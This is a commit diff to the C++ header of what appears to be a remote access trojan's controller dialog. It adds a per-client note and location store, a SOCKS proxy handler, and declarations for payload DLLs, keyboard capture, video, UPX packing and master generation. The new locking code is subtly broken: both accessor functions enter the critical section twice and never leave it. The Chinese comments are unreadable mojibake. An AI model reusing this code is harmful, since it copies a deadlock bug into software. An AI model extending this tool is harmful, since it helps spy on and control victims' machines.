Implement SOCKS proxy feature
This commit is contained in:
@@ -13,6 +13,60 @@
|
||||
// <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD>ض<EFBFBD>ʱҲ<CAB1>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
|
||||
#define CLIENT_EXIT_WITH_SERVER 0
|
||||
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
#include <unordered_map>
|
||||
#include <fstream>
|
||||
#define DB_FILENAME "./YAMA.db"
|
||||
|
||||
enum {
|
||||
MAP_NOTE,
|
||||
MAP_LOCATION,
|
||||
};
|
||||
|
||||
struct _ClientValue
|
||||
{
|
||||
char Note[64];
|
||||
char Location[64];
|
||||
char Reserved[128]; // Ԥ<><D4A4>
|
||||
_ClientValue() {
|
||||
memset(this, 0, sizeof(_ClientValue));
|
||||
}
|
||||
_ClientValue(const CString& loc, const CString& s) {
|
||||
memset(this, 0, sizeof(_ClientValue));
|
||||
strcpy_s(Note, s.GetString());
|
||||
strcpy_s(Location, loc.GetString());
|
||||
}
|
||||
void UpdateNote(const CString& s) {
|
||||
strcpy_s(Note, s.GetString());
|
||||
}
|
||||
void UpdateLocation(const CString& loc) {
|
||||
strcpy_s(Location, loc.GetString());
|
||||
}
|
||||
const char* GetNote() const {
|
||||
return Note;
|
||||
}
|
||||
const char* GetLocation() const {
|
||||
return Location;
|
||||
}
|
||||
int GetLength() const {
|
||||
return sizeof(_ClientValue);
|
||||
}
|
||||
};
|
||||
|
||||
typedef uint64_t ClientKey;
|
||||
|
||||
typedef _ClientValue ClientValue;
|
||||
|
||||
typedef std::unordered_map<ClientKey, ClientValue> ComputerNoteMap;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD> unordered_map <20><><EFBFBD>ļ<EFBFBD>
|
||||
void SaveToFile(const ComputerNoteMap& data, const std::string& filename);
|
||||
|
||||
// <20><><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>ȡ unordered_map <20><><EFBFBD><EFBFBD>
|
||||
void LoadFromFile(ComputerNoteMap& data, const std::string& filename);
|
||||
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
|
||||
enum
|
||||
{
|
||||
PAYLOAD_DLL_X86 = 0, // 32λ DLL
|
||||
@@ -23,6 +77,43 @@ enum
|
||||
// CMy2015RemoteDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
class CMy2015RemoteDlg : public CDialogEx
|
||||
{
|
||||
protected:
|
||||
ComputerNoteMap m_ClientMap;
|
||||
CString GetClientMapData(ClientKey key, int typ) {
|
||||
EnterCriticalSection(&m_cs);
|
||||
auto f = m_ClientMap.find(key);
|
||||
CString r;
|
||||
if (f != m_ClientMap.end()) {
|
||||
switch (typ)
|
||||
{
|
||||
case MAP_NOTE:
|
||||
r = f->second.GetNote();
|
||||
break;
|
||||
case MAP_LOCATION:
|
||||
r = f->second.GetLocation();
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
EnterCriticalSection(&m_cs);
|
||||
return r;
|
||||
}
|
||||
void SetClientMapData(ClientKey key, int typ, const char* value) {
|
||||
EnterCriticalSection(&m_cs);
|
||||
switch (typ)
|
||||
{
|
||||
case MAP_NOTE:
|
||||
m_ClientMap[key].UpdateNote(value);
|
||||
break;
|
||||
case MAP_LOCATION:
|
||||
m_ClientMap[key].UpdateLocation(value);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
EnterCriticalSection(&m_cs);
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD>
|
||||
public:
|
||||
CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||
@@ -48,8 +139,8 @@ public:
|
||||
|
||||
VOID InitControl(); //<2F><>ʼ<EFBFBD>ؼ<EFBFBD>
|
||||
VOID TestOnline(); //<2F><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD>
|
||||
VOID AddList(CString strIP, CString strAddr, CString strPCName, CString strOS,
|
||||
CString strCPU, CString strVideo, CString strPing, CString ver, CString st, CString tp, CONTEXT_OBJECT* ContextObject);
|
||||
VOID AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing,
|
||||
CString ver, CString startTime, const std::vector<std::string> &v, CONTEXT_OBJECT* ContextObject);
|
||||
VOID ShowMessage(BOOL bOk, CString strMsg);
|
||||
VOID CreatStatusBar();
|
||||
VOID CreateToolBar();
|
||||
@@ -79,7 +170,7 @@ public:
|
||||
CRITICAL_SECTION m_cs;
|
||||
BOOL isClosed;
|
||||
CMenu m_MainMenu;
|
||||
CBitmap m_bmOnline[4];
|
||||
CBitmap m_bmOnline[6];
|
||||
bool CheckValid();
|
||||
afx_msg void OnTimer(UINT_PTR nIDEvent);
|
||||
afx_msg void OnClose();
|
||||
@@ -119,10 +210,14 @@ public:
|
||||
afx_msg LRESULT OnOpenVideoDialog(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnHandleMessage(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnOpenKeyboardDialog(WPARAM wParam, LPARAM lParam);
|
||||
|
||||
afx_msg LRESULT OnOpenProxyDialog(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT UPXProcResult(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg BOOL OnHelpInfo(HELPINFO* pHelpInfo);
|
||||
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
||||
afx_msg void OnOnlineShare();
|
||||
afx_msg void OnToolAuth();
|
||||
afx_msg void OnToolGenMaster();
|
||||
afx_msg void OnMainProxy();
|
||||
afx_msg void OnOnlineHostnote();
|
||||
};
|
||||
|
||||
Reference in New Issue
Block a user